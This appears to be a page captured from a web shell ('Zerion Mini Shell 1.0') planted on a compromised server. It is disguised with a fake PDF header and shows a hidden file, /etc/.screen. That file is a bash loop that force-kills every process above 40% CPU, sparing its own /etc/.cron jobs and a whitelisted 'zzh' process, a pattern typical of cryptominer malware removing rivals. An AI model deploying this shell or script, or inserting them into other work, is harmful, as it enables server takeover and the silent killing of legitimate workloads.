%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/etc/
Upload File :
Create Path :
Current File : //proc/self/root/etc/.screen

#!/bin/bash

INTERVAL=1

while true; do
    ps -eo pid,pcpu --no-headers | awk '$2>=40 {print $1}' | while read -r pid; do
        [ -d "/proc/$pid" ] || continue
        exe_path=$(readlink "/proc/$pid/exe" 2>/dev/null || echo "")
        cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null)
        if [[ "$exe_path" == /etc/* ]] || echo "$cmdline" | grep -q "/etc/.cron"; then
            echo "Skip PID $pid (cron: $exe_path)"
            continue
        fi
		
        if echo "$cmdline" | grep -q "zzh"; then
            echo "Skip PID $pid (whitelist: zzh)"
            continue
        fi

        echo "Kill PID $pid (CPU>=40%, exe=$exe_path, cmd=$cmdline)"
        kill -9 "$pid" 2>/dev/null
    done
    
    sleep "$INTERVAL"
done

Zerion Mini Shell 1.0